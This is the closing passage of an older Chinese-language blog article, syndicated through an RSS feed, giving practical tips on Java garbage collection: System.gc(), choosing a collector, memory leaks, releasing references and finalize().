						<p class="normal">（2）Java中提供了一些和垃圾收集打交道的类，而且提供了一种强行执行垃圾收集的方法--调用System.gc()，但这同样是个不确定的方法。Java 中并不保证每次调用该方法就一定能够启动垃圾收集，它只不过会向JVM发出这样一个申请，到底是否真正执行垃圾收集，一切都是个未知数。</p>
						<p class="normal">（3）挑选适合自己的垃圾收集器。一般来说，如果系统没有特殊和苛刻的性能要求，可以采用JVM的缺省选项。否则可以考虑使用有针对性的垃圾收集器，比如增量收集器就比较适合实时性要求较高的系统之中。系统具有较高的配置，有比较多的闲置资源，可以考虑使用并行标记/清除收集器。</p>
						<p class="normal">（4）关键的也是难把握的问题是内存泄漏。良好的编程习惯和严谨的编程态度永远是最重要的，不要让自己的一个小错误导致内存出现大漏洞。</p>
						<p class="normal">（5）尽早释放无用对象的引用。大多数程序员在使用临时变量的时候，都是让引用变量在退出活动域(scope)后，自动设置为null，暗示垃圾收集器来收集该对象，还必须注意该引用的对象是否被监听，如果有，则要去掉监听器，然后再赋空值。</p>
						<p>
								<b>6  结束语</b>
						</p>
						<p class="normal">一般来说，Java开发人员可以不重视JVM中堆内存的分配和垃圾处理收集，但是，充分理解Java的这一特性可以让我们更有效地利用资源。同时要注意finalize()方法是Java的缺省机制，有时为确保对象资源的明确释放，可以编写自己的finalize方法。</p>
				</div>
				<br />
				<div class="postfoot">posted 2005-01-21 09:24:00.0 <a name="Feedback"></a></div>
		</div>
<img src ="http://www.cnitblog.com/weitom1982/aggbug/8384.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/weitom1982/" target="_blank">高山流水</a> 2006-03-31 12:44 <a href="http://www.cnitblog.com/weitom1982/archive/2006/03/31/8384.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item></channel></rss>